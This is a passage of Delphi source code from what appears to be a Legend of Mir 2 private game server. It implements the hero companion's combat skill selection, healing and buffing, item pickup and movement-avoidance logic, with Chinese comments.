(m_TargetCret.m_btRaceServer = RC_PLAYMOSTER)) or m_boTarget) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) < 7{4}) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) < 7{4})) and (m_TargetCret.m_btRaceServer <> 110) and (m_TargetCret.m_btRaceServer <> 111) and (m_TargetCret.m_btRaceServer <> 55) then begin //对于血量超过100的怪用 不毒城墙 n_AmuletIndx:= 0;//20080413 case Random(2) of 0: begin if IsAllowUseMagic(38) and (GetTickCount - m_SkillUseTick[38] > 1000) then begin m_SkillUseTick[38] := GetTickCount; Result := 38;//英雄群体施毒 exit; end else if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; 1: begin if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; end; end; //无极真气 20080323 if IsAllowUseMagic(50) and (GetTickCount - m_SkillUseTick[50] > g_Config.nAbilityUpTick * 1000) and (m_wStatusArrValue[2]=0) and ((g_Config.btHeroSkillMode50) or (m_TargetCret.m_Abil.HP >=800) or ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_btRaceServer = RC_PLAYMOSTER))) then begin//20080827 m_SkillUseTick[50] := GetTickCount; Result := 50; Exit; end; //end; if IsAllowUseMagic(51) and (GetTickCount - m_SkillUseTick[51] > 5*1000) then begin//英雄飓风破 20080917 m_SkillUseTick[51] := GetTickCount; Result := 51; exit; end; if CheckHeroAmulet(1,1) then begin//使用符的魔法 case Random(3) of 0:begin if IsAllowUseMagic(59) then begin Result := 59; //英雄噬血术 exit; end; if IsAllowUseMagic(13) and (GetTickCount - m_SkillUseTick[13] > 1000) then begin Result := 13; //英雄灵魂火符 m_SkillUseTick[13]:= GetTickCount;//20080714 exit; end; if IsAllowUseMagic(52) and (m_TargetCret.m_wStatusArrValue[m_TargetCret.m_btJob] = 0) then begin //诅咒术 Result := 52; //英雄诅咒术 Exit; end; end; 1:begin if IsAllowUseMagic(52) and (m_TargetCret.m_wStatusArrValue[m_TargetCret.m_btJob] = 0) then begin//诅咒术 Result := 52; Exit; end; if IsAllowUseMagic(59) then begin Result := 59; //英雄噬血术 exit; end; if IsAllowUseMagic(13) and (GetTickCount - m_SkillUseTick[13] > 1000) then begin //20080401修改判断符的方法 Result := 13; //英雄灵魂火符 m_SkillUseTick[13]:= GetTickCount;//20080714 exit; end; end;//1 2:begin if IsAllowUseMagic(13) and (GetTickCount - m_SkillUseTick[13] > 1000) then begin Result := 13; //英雄灵魂火符 m_SkillUseTick[13]:= GetTickCount;//20080714 exit; end; if IsAllowUseMagic(59) then begin Result := 59; //英雄噬血术 exit; end; if IsAllowUseMagic(52) and (m_TargetCret.m_wStatusArrValue[m_TargetCret.m_btJob] = 0) then begin //诅咒术 Result := 52; Exit; end; end;//2 end;//case Random(3) of 道 //技能从高到低选择 20080710 if IsAllowUseMagic(59) then begin//英雄噬血术 Result := 59; exit; end; if IsAllowUseMagic(54) then begin//英雄骷髅咒 20080917 Result := 54; exit; end; if IsAllowUseMagic(53) then begin//英雄血咒 20080917 Result := 53; exit; end; if IsAllowUseMagic(51) then begin//英雄飓风破 20080917 Result := 51; exit; end; if IsAllowUseMagic(13) then begin//英雄灵魂火符 Result := 13; exit; end; if IsAllowUseMagic(52) and (m_TargetCret.m_wStatusArrValue[m_TargetCret.m_btJob] = 0) then begin //诅咒术 Result := 52; Exit; end; end;//if CheckHeroAmulet(1,1) then begin//使用符的魔法 end;//道士 end;//case 职业 end; (* 未使用 20080412 function THeroObject.IsUseMagic(): Boolean; //检测是否可以使用保护魔法 道士 var UserMagic: pTUserMagic; I: Integer; begin Result := False; if m_nSelectMagic <= 0 then Exit; case m_btJob of 2: begin for I := 0 to m_MagicList.Count - 1 do begin UserMagic := m_MagicList.Items[I]; if UserMagic.MagicInfo.btJob in [2, 99] then begin case UserMagic.wMagIdx of SKILL_HEALLING {2}, SKILL_HANGMAJINBUB {14}, SKILL_DEJIWONHO {15}, SKILL_HOLYSHIELD {16}, //SKILL_SKELLETON {17}, SKILL_CLOAK {18}, SKILL_BIGCLOAK {19}, SKILL_BIGHEALLING {29}: begin //需要符 Result := CheckUserItemType(1,1); if Result then Break; Result := GetUserItemList(1,1) > 0; if Result then Break; end; end; end; end; end; end; end; *) //20080530 增加检查两动作的间隔 function THeroObject.CheckActionStatus(wIdent: Word; var dwDelayTime: LongWord): Boolean; var dwCheckTime: LongWord; dwActionIntervalTime: LongWord; begin Result := False; dwDelayTime := 0; //检查二个不同操作之间所需间隔时间 dwCheckTime := GetTickCount - m_dwActionTick; case wIdent of//20080923 合击不限制 60..65: begin m_dwActionTick := GetTickCount(); Result := True; Exit; end; end; //SysMsg('间隔: ' + IntToStr(dwCheckTime), c_Blue, t_Notice); dwActionIntervalTime := {m_dwActionIntervalTime}530; if dwCheckTime >= dwActionIntervalTime then begin m_dwActionTick := GetTickCount(); Result := True; end else begin dwDelayTime := dwActionIntervalTime - dwCheckTime; end; m_wOldIdent := wIdent; m_btOldDir := m_btDirection; end; {//取攻击消息数量 20080720 测试 function THeroObject.GetSpellMsgCount: Integer; var I: Integer; SendMessage: pTSendMessage; begin Result := 0; try EnterCriticalSection(ProcessMsgCriticalSection); if m_MsgList.Count > 0 then begin for I := 0 to m_MsgList.Count - 1 do begin SendMessage := m_MsgList.Items[I]; if (SendMessage.wIdent = RM_SPELL) then begin Inc(Result); end; end; end; finally LeaveCriticalSection(ProcessMsgCriticalSection); end; end; } //1 为护身符 2 为毒药 function THeroObject.IsUseAttackMagic(): Boolean; //检测是否可以使用攻击魔法 begin Result := False; if m_nSelectMagic <= 0 then Exit; case m_btJob of 0, 1: Result := True; 2: begin case m_nSelectMagic of SKILL_AMYOUNSUL {6 施毒术}, SKILL_GROUPAMYOUNSUL {38 群体施毒术}: begin Result := CheckHeroAmulet(2,1); end; SKILL_FIRECHARM {13}, SKILL_HOLYSHIELD {16}, SKILL_SKELLETON {17}, SKILL_52, SKILL_59: begin //需要符 Result := CheckHeroAmulet(1,1); end; end;//case end;//2 end; end; function THeroObject.Think(): Boolean; var nOldX, nOldY: Integer; UserMagicID: Integer; UserMagic: pTUserMagic;//20071224 nCheckCode: Byte; resourcestring sExceptionMsg = '{异常} THeroObject.Think Code:%d'; begin Result := False; nCheckCode:= 0; Try if m_Master = nil then Exit; if (m_Master.m_nCurrX = m_nCurrX) and (m_Master.m_nCurrY = m_nCurrY) then begin //20080710 m_boDupMode := True; end else begin if (GetTickCount - m_dwThinkTick) > 1000 then begin m_dwThinkTick := GetTickCount(); if m_PEnvir.GetXYObjCount(m_nCurrX, m_nCurrY) >= 2 then m_boDupMode := True; nCheckCode:= 13; if (m_TargetCret <> nil) then begin if (not IsProperTarget(m_TargetCret)) then m_TargetCret := nil; end; end; end; nCheckCode:= 1; if m_boDupMode and (m_btStatus <> 2) and (GetTickCount()- dwTick3F4 > m_dwWalkIntervalTime) then begin //20080603 增加走间隔 dwTick3F4 := GetTickCount();//20080603 增加 nOldX := m_nCurrX; nOldY := m_nCurrY; WalkTo(Random(8), False); if (nOldX <> m_nCurrX) or (nOldY <> m_nCurrY) then begin m_boDupMode := False; Result := True; end; end; nCheckCode:= 2; if g_Config.boHeroAutoProtectionDefence then begin//英雄无目标下自动开启护体神盾 20080715 if IsAllowUseMagic(75) and (m_wStatusTimeArr[STATE_ProtectionDEFENCE] = 0) and (not m_boProtectionDefence) and (GetTickCount - m_boProtectionTick > g_Config.dwProtectionTick) and (GetTickCount - m_SkillUseTick[75] > 1000 * 3) then begin //使用护体神盾 20080710 m_SkillUseTick[75]:= GetTickCount; UserMagic := FindMagic(75); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); end; end; //20071224 case m_btJob of 0: begin//战士 nCheckCode:= 20; if (m_btStatus =1) and (m_TargetCret <> nil) then begin//20080710 跟随状态被打 if CheckTargetXYCount(m_nCurrX, m_nCurrY, 3) > 1 then begin //被怪物包围时使用狮子吼 if IsAllowUseMagic(41) and (m_TargetCret.m_Abil.Level < m_Abil.Level) then begin UserMagic := FindMagic(41); if UserMagic <> nil then ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //使用魔法 end; end else begin//野蛮 if IsAllowUseMagic(27) and (m_TargetCret.m_Abil.Level < m_Abil.Level) then begin UserMagic := FindMagic(27); if UserMagic <> nil then ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //使用魔法 end; end; m_TargetCret:= nil; end; end; 1: begin //法师 nCheckCode:= 21; if (m_btStatus =1) and (m_TargetCret <> nil) then begin//20080710 跟随状态被打 if IsAllowUseMagic(31) and (m_wStatusTimeArr[STATE_BUBBLEDEFENCEUP] = 0) and (not m_boAbilMagBubbleDefence) and boAutoOpenDefence then begin//20080930 UserMagic := FindMagic(31); if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); //使用魔法盾 end; if IsAllowUseMagic(8) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) > 0) and (m_TargetCret.m_WAbil.Level < m_WAbil.Level) then begin UserMagic := FindMagic(8); if UserMagic <> nil then ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //使用抗拒火环 end; m_TargetCret:= nil; end; //攻击模式,一直开启魔法盾 20080711 if (m_btStatus =0) and (IsAllowUseMagic(31) or IsAllowUseMagic(66)) and (m_wStatusTimeArr[STATE_BUBBLEDEFENCEUP] = 0) and (not m_boAbilMagBubbleDefence) and boAutoOpenDefence then begin//20080930 if IsAllowUseMagic(66) then begin UserMagic := FindMagic(66); end else if IsAllowUseMagic(31) then begin UserMagic := FindMagic(31); end; m_boIsUseMagic := False;//是否能躲避 20080719 m_dwHitTick := GetTickCount();//20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); end; end; 2: begin //道士 nCheckCode:= 28; if (m_nLoyal > 500) and (m_TargetCret <> nil) then begin//忠诚度超过5%时,PK时,不使用神圣战甲术 幽灵盾 20080826 if (m_TargetCret.m_btRaceServer <> RC_PLAYOBJECT) and (m_TargetCret.m_btRaceServer <> RC_HEROOBJECT) then begin if IsAllowUseMagic(15) and (m_wStatusTimeArr[STATE_DEFENCEUP] = 0) and CheckHeroAmulet(1,1) then begin //打魔防 UserMagic := FindMagic(15); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); //神圣战甲术 end; nCheckCode:= 29; if IsAllowUseMagic(14) and (m_wStatusTimeArr[STATE_MAGDEFENCEUP] = 0) and CheckHeroAmulet(1,1) then begin //给打魔防 UserMagic := FindMagic(14); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); //幽灵盾 end; if IsAllowUseMagic(15) and (m_Master.m_wStatusTimeArr[STATE_DEFENCEUP] = 0) and (GetTickCount - m_SkillUseTick[15] > 1000 * 3) and CheckHeroAmulet(1,1) then begin //给主人打魔防 m_SkillUseTick[15] := GetTickCount; UserMagic := FindMagic(15); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); //使用魔法 end; nCheckCode:= 26; if IsAllowUseMagic(14) and (m_Master.m_wStatusTimeArr[STATE_MAGDEFENCEUP] = 0) and (GetTickCount - m_SkillUseTick[14] > 3000{1000 * 3}) and CheckHeroAmulet(1,1) then begin //给主人打魔防 m_SkillUseTick[14] := GetTickCount; UserMagic := FindMagic(14); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); //使用魔法 end; end; end else begin if IsAllowUseMagic(15) and (m_wStatusTimeArr[STATE_DEFENCEUP] = 0) and CheckHeroAmulet(1,1) then begin //打魔防 UserMagic := FindMagic(15); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); //神圣战甲术 end; nCheckCode:= 29; if IsAllowUseMagic(14) and (m_wStatusTimeArr[STATE_MAGDEFENCEUP] = 0) and CheckHeroAmulet(1,1) then begin //给打魔防 UserMagic := FindMagic(14); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); //幽灵盾 end; if IsAllowUseMagic(15) and (m_Master.m_wStatusTimeArr[STATE_DEFENCEUP] = 0) and (GetTickCount - m_SkillUseTick[15] > 1000 * 3) and CheckHeroAmulet(1,1) then begin //给主人打魔防 m_SkillUseTick[15] := GetTickCount; UserMagic := FindMagic(15); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); //使用魔法 end; nCheckCode:= 26; if IsAllowUseMagic(14) and (m_Master.m_wStatusTimeArr[STATE_MAGDEFENCEUP] = 0) and (GetTickCount - m_SkillUseTick[14] > 3000{1000 * 3}) and CheckHeroAmulet(1,1) then begin //给主人打魔防 m_SkillUseTick[14] := GetTickCount; UserMagic := FindMagic(14); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); //使用魔法 end; end; nCheckCode:= 27; if (m_btStatus =1) and (m_TargetCret <> nil) then begin//20080710 跟随状态被打 if IsAllowUseMagic(48) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) > 0) and (m_TargetCret.m_WAbil.Level < m_WAbil.Level) then begin UserMagic := FindMagic(48); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //使用气功波 end; m_TargetCret:= nil; end; if (m_btStatus <> 0) and (m_ExpHitter <> nil) then begin//20081223 if CheckHeroAmulet(1,1) and (m_wStatusTimeArr[STATE_TRANSPARENT]= 0) then begin//隐身术 20081223 if IsAllowUseMagic(19) and (GetTickCount - m_SkillUseTick[19] > 8000) then begin m_SkillUseTick[19]:= GetTickCount; UserMagic := FindMagic(19); m_boIsUseMagic := False;//是否能躲避 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); end else if IsAllowUseMagic(18) and (GetTickCount - m_SkillUseTick[18] > 8000) then begin m_SkillUseTick[18]:= GetTickCount; UserMagic := FindMagic(18); m_boIsUseMagic := False;//是否能躲避 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); end; end; m_ExpHitter:= nil; end; nCheckCode:= 22; //主人HP值等于或少于60%时,使用治愈术,先加主人再加自己的血 20071201 if (m_Master.m_WAbil.HP <= Round(m_Master.m_WAbil.MaxHP * 0.7)) and (m_WAbil.MP >10) and (GetTickCount - m_SkillUseTick[2] > 3000) and (m_TargetCret= nil) then begin if IsAllowUseMagic(29) then begin m_SkillUseTick[2] := GetTickCount; UserMagic := FindMagic(29); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); //使用魔法 end else if IsAllowUseMagic(2) then begin m_SkillUseTick[2] := GetTickCount; UserMagic := FindMagic(2); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); //使用魔法 end; end; nCheckCode:= 23; if (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.7)) and (m_WAbil.MP > 10) and (GetTickCount - m_SkillUseTick[2] > 3000) and (m_TargetCret= nil) then begin if IsAllowUseMagic(29) then begin m_SkillUseTick[2] := GetTickCount; UserMagic := FindMagic(29); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, nil); //使用魔法 end else if IsAllowUseMagic(2) then begin m_SkillUseTick[2] := GetTickCount; UserMagic := FindMagic(2); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, nil); //使用魔法 end; end; nCheckCode:= 24; if (m_SlaveList.Count = 0) and g_Config.boHeroNoTargetCall and CheckHeroAmulet(1,5) and (GetTickCount - m_SkillUseTick[17] > 1000 * 3) then begin// 20080615 m_SkillUseTick[17]:=GetTickCount; //默认,从高到低 if IsAllowUseMagic(72) then UserMagicID:= 72//召唤月灵 else if IsAllowUseMagic(30) then UserMagicID:= 30//召唤神兽 else if IsAllowUseMagic(17) then UserMagicID:= 17;//召唤骷髅 if UserMagicID > 0 then begin //20080401 修改英雄召唤神兽 UserMagic := FindMagic(UserMagicID); m_boIsUseMagic := False;//是否能躲避 20080719 if UserMagic <> nil then ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); //使用魔法 end; //if UserMagicID > 0 then end;//if (m_SlaveList.Count=0) then begin nCheckCode:= 25; if ((GetTickCount - m_dwCheckNoHintTick) > 30000{30 * 1000}) and (not m_boIsUseAttackMagic) and (m_btStatus = 0) then begin//20080401 没毒符提示 m_dwCheckNoHintTick:= GetTickCount; if IsAllowUseMagic(13) or IsAllowUseMagic(59) then begin if not CheckHeroAmulet(1,1) then SysMsg('(英雄) 护身符已用完!', c_Green, t_Hint); end; if IsAllowUseMagic(6) or IsAllowUseMagic(38) then begin if not CheckHeroAmulet(2,1) then SysMsg('(英雄) 灰色毒药已经完!', c_Green, t_Hint); if not CheckHeroAmulet(2,2) then SysMsg('(英雄) 黄色毒药已经完!', c_Green, t_Hint); end; end; end; end;//case nCheckCode:= 3; //英雄忠诚度达到指定值后并且相关技能(灵魂火符,烈火剑法,灭天火)满3级,自动切换到四级状态 20080111 if m_nLoyal >=g_Config.nGotoLV4 then begin case m_btJob of 0:begin UserMagic := FindMagic(26); if UserMagic <> nil then begin if UserMagic.btLevel=3 then begin UserMagic.btLevel:=4;//升级为4级技能 SendUpdateDelayMsg(m_Master, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 800); SysMsg('由于你们亲密的关系,您的英雄已经领悟了4级烈火剑法!' , BB_Fuchsia, t_Hint); end; end; end; 1:begin UserMagic := FindMagic(45); if UserMagic <> nil then begin if UserMagic.btLevel=3 then begin UserMagic.btLevel:=4;//升级为4级技能 SendUpdateDelayMsg(m_Master, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 800); SysMsg('由于你们亲密的关系,您的英雄已经领悟了4级灭天火!' , BB_Fuchsia, t_Hint); end; end; end; 2:begin UserMagic := FindMagic(13); if UserMagic <> nil then begin if UserMagic.btLevel=3 then begin UserMagic.btLevel:=4;//升级为4级技能 SendUpdateDelayMsg(m_Master, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 800); SysMsg('由于你们亲密的关系,您的英雄已经领悟了4级灵魂火符!' , BB_Fuchsia, t_Hint); end; end; end; end; end else begin //忠诚度低于触发值时,4级降为3级 20080609 case m_btJob of 0:begin UserMagic := FindMagic(26); if UserMagic <> nil then begin if UserMagic.btLevel=4 then begin UserMagic.btLevel:=3;//4级降为3级 SendUpdateDelayMsg(m_Master, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 800); end; end; end; 1:begin UserMagic := FindMagic(45); if UserMagic <> nil then begin if UserMagic.btLevel=4 then begin UserMagic.btLevel:=3;//4级降为3级 SendUpdateDelayMsg(m_Master, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 800); end; end; end; 2:begin UserMagic := FindMagic(13); if UserMagic <> nil then begin if UserMagic.btLevel=4 then begin UserMagic.btLevel:=3;//4级降为3级 SendUpdateDelayMsg(m_Master, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 800); end; end; end; end; end; nCheckCode:= 4; if SearchIsPickUpItem then SearchPickUpItem(500);//捡物品 20071224 nCheckCode:= 5; if ((m_btStatus < 2) or ((m_btStatus = 2) and (not g_Config.boRestNoFollow))) and (not m_boProtectStatus) and //20080222 增加,主人换地图,英雄马上一起走 (m_PEnvir <> m_Master.m_PEnvir) and //不在同个地图时才飞 20080409 ((abs(m_nCurrX - m_Master.m_nCurrX) > 20) or (abs(m_nCurrY - m_Master.m_nCurrY) > 20)) then begin SpaceMove(m_Master.m_PEnvir.sMapName, m_Master.m_nCurrX, m_Master.m_nCurrY, 1); end; except MainOutMessage(Format(sExceptionMsg, [nCheckCode])); end; end; function THeroObject.SearchIsPickUpItem(): Boolean; var VisibleMapItem: pTVisibleMapItem; MapItem: PTMapItem; I: Integer; nCurrX, nCurrY: Integer; nCode: Byte; begin Result := False; nCode:= 0; try if m_Master = nil then Exit; if (m_Master <> nil) and (m_Master.m_boDeath) then Exit; if m_btStatus = 2 then Exit; if m_TargetCret <> nil then Exit; if m_boProtectStatus then Exit; nCode:= 3; if m_VisibleItems.Count = 0 then Exit; nCode:= 4; if GetTickCount < m_dwSearchIsPickUpItemTime then Exit; if (not IsEnoughBag) {or (not m_boCanPickUpItem) }then Exit; //20080428 注释 if m_Master <> nil then begin nCurrX := m_Master.m_nCurrX; nCurrY := m_Master.m_nCurrY; if m_boProtectStatus then begin nCurrX := m_nProtectTargetX; nCurrY := m_nProtectTargetY; end; if (abs(nCurrX - m_nCurrX) > 15) or (abs(nCurrY - m_nCurrY) > 15) then begin //m_dwSearchIsPickUpItemTick := GetTickCount; m_dwSearchIsPickUpItemTime := GetTickCount + 5000{1000 * 5}; Exit; end; end; {m_dwSearchIsPickUpItemTick := GetTickCount; m_dwSearchIsPickUpItemTime := 1000;} nCode:= 10; if m_VisibleItems.Count > 0 then begin for I := 0 to m_VisibleItems.Count - 1 do begin nCode:= 11; VisibleMapItem := pTVisibleMapItem(m_VisibleItems.Items[I]); nCode:= 12; if (VisibleMapItem <> nil) then begin if (VisibleMapItem.nVisibleFlag > 0) then begin MapItem := VisibleMapItem.MapItem; nCode:= 13; if (MapItem <> nil) then begin if (m_Master <> nil) then begin//20080825 修改 nCode:= 14; if MapItem.DropBaseObject <> nil then begin//20080803 增加 nCode:= 15; if (MapItem.DropBaseObject <> m_Master) then begin nCode:= 16; if IsAllowPickUpItem(VisibleMapItem.sName) and IsAddWeightAvailable(UserEngine.GetStdItemWeight(MapItem.UserItem.wIndex)) then begin //if (MapItem.DropBaseObject <> nil) and (TBaseObject(MapItem.DropBaseObject).m_btRaceServer = RC_PLAYOBJECT) then Continue; nCode:= 17; if (MapItem.OfBaseObject = nil) or (MapItem.OfBaseObject = m_Master) or (MapItem.OfBaseObject = Self) then begin nCode:= 18; if (abs(VisibleMapItem.nX - m_nCurrX) <= 5) and (abs(VisibleMapItem.nY - m_nCurrY) <= 5) then begin Result := True; Break; end; end; end; end; end; end; end; end; end; end; end; except MainOutMessage('{异常} THeroObject.SearchIsPickUpItem Code:'+inttostr(nCode)); end; end; //未使用的函数 function THeroObject.GotoTargetXYRange(): Boolean; var n10: Integer; n14: Integer; nTargetX: Integer; nTargetY: Integer; begin Result := True; nTargetX := 0;//20080529 nTargetY := 0;//20080529 n10 := abs(m_TargetCret.m_nCurrX - m_nCurrX); n14 := abs(m_TargetCret.m_nCurrY - m_nCurrY); if n10 > 4 then Dec(n10, 5) else n10 := 0; if n14 > 4 then Dec(n14, 5) else n14 := 0; if m_TargetCret.m_nCurrX > m_nCurrX then nTargetX := m_nCurrX + n10; if m_TargetCret.m_nCurrX < m_nCurrX then nTargetX := m_nCurrX - n10; if m_TargetCret.m_nCurrY > m_nCurrY then nTargetY := m_nCurrY + n14; if m_TargetCret.m_nCurrY < m_nCurrY then nTargetY := m_nCurrY - n14; Result := GotoTargetXY(nTargetX, nTargetY ,0); end; function THeroObject.AutoAvoid(): Boolean; //自动躲避 function GetAvoidDir(): Integer; var n10: Integer; n14: Integer; begin n10 := m_TargetCret.m_nCurrX; n14 := m_TargetCret.m_nCurrY; Result := DR_DOWN; if n10 > m_nCurrX then begin Result := DR_LEFT; if n14 > m_nCurrY then Result := DR_DOWNLEFT; if n14 < m_nCurrY then Result := DR_UPLEFT; end else begin if n10 < m_nCurrX then begin Result := DR_RIGHT; if n14 > m_nCurrY then Result := DR_DOWNRIGHT; if n14 < m_nCurrY then Result := DR_UPRIGHT; end else begin if n14 > m_nCurrY then Result := DR_UP else if n14 < m_nCurrY then Result := DR_DOWN; end; end; end; function GetDirXY(nTargetX, nTargetY: Integer): Byte; var n10: Integer; n14: Integer; begin n10 := nTargetX; n14 := nTargetY; Result := DR_DOWN;//南 if n10 > m_nCurrX then begin Result := DR_RIGHT;//东 if n14 > m_nCurrY then Result := DR_DOWNRIGHT;//东南向 if n14 < m_nCurrY then Result := DR_UPRIGHT;//东北向 end else begin if n10 < m_nCurrX then begin Result := DR_LEFT;//西 if n14 > m_nCurrY then Result := DR_DOWNLEFT;//西南向 if n14 < m_nCurrY then Result := DR_UPLEFT;//西北向 end else begin if n14 > m_nCurrY then Result := DR_DOWN//南 else if n14 < m_nCurrY then Result := DR_UP;//正北 end; end; end; function GetGotoXY(nDir: Integer; var nTargetX, nTargetY: Integer): Boolean; var n01: Integer; begin Result := False; n01 := 0; while True do begin case nDir of DR_UP: begin//北 if m_PEnvir.CanWalk(nTargetX, nTargetY, False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin //CheckTargetXYCountOfDirection //Inc(nTargetY, 2); Dec(nTargetY, 2);//20080524 Result := True; Break; end else begin if n01 >= 10 then Break; //Inc(nTargetY, 2); Dec(nTargetY, 2);//20080524 Inc(n01, 2); Continue; end; end; DR_UPRIGHT: begin//东北 if m_PEnvir.CanWalk(nTargetX, nTargetY, False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin // Inc(nTargetX, 2); // Inc(nTargetY, 2); Inc(nTargetX, 2);//20080524 Dec(nTargetY, 2);//20080524 Result := True; Break; end else begin if n01 >= 10 then Break; //Inc(nTargetX, 2); //Inc(nTargetY, 2); Inc(nTargetX, 2);//20080524 Dec(nTargetY, 2);//20080524 Inc(n01, 2); Continue; end; end; DR_RIGHT: begin//东 if m_PEnvir.CanWalk(nTargetX, nTargetY, False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin Inc(nTargetX, 2); Result := True; Break; end else begin if n01 >= 10 then Break; Inc(nTargetX, 2); Inc(n01, 2); Continue; end; end; DR_DOWNRIGHT: begin//东南 if m_PEnvir.CanWalk(nTargetX, nTargetY, False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin //Inc(nTargetX, 2); //Dec(nTargetY, 2); Inc(nTargetX, 2);//20080524 Inc(nTargetY, 2);//20080524 Result := True; Break; end else begin if n01 >= 10 then Break; //Inc(nTargetX, 2); //Dec(nTargetY, 2); Inc(nTargetX, 2);//20080524 Inc(nTargetY, 2);//20080524 Inc(n01); Continue; end; end; DR_DOWN: begin//南 if m_PEnvir.CanWalk(nTargetX, nTargetY, False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin //Dec(nTargetY, 2); Inc(nTargetY, 2);//20080524 Result := True; Break; end else begin if n01 >= 10 then Break; //Dec(nTargetY, 2); Inc(nTargetY, 2);//20080524 Inc(n01, 2); Continue; end; end; DR_DOWNLEFT: begin//西南 if m_PEnvir.CanWalk(nTargetX, nTargetY,False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin //Dec(nTargetX, 2); //Dec(nTargetY, 2); Dec(nTargetX, 2);//20080524 Inc(nTargetY, 2);//20080524 Result := True; Break; end else begin if n01 >= 10 then Break; //Dec(nTargetX, 2); //Dec(nTargetY, 2); Dec(nTargetX, 2);//20080524 Inc(nTargetY, 2);//20080524 Inc(n01, 2); Continue; end; end; DR_LEFT: begin//西 if m_PEnvir.CanWalk(nTargetX, nTargetY, False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin Dec(nTargetX, 2); Result := True; Break; end else begin if n01 >= 10 then Break; Dec(nTargetX, 2); Inc(n01, 2); Continue; end; end; DR_UPLEFT: begin//西北向 if m_PEnvir.CanWalk(nTargetX, nTargetY, False) and (CheckTargetXYCountOfDirection(nTargetX, nTargetY, nDir, 3) = 0) then begin //Dec(nTargetX, 2); //Inc(nTargetY, 2); Dec(nTargetX, 2);//20080524 Dec(nTargetY, 2);//20080524 Result := True; Break; end else begin if n01 >= 10 then Break; //Dec(nTargetX, 2); //Inc(nTargetY, 2); Dec(nTargetX, 2);//20080524 Dec(nTargetY, 2);//20080524 Inc(n01, 2); Continue; end; end; else begin Break; end; end; end; end; function GetAvoidXY(var nTargetX, nTargetY: Integer): 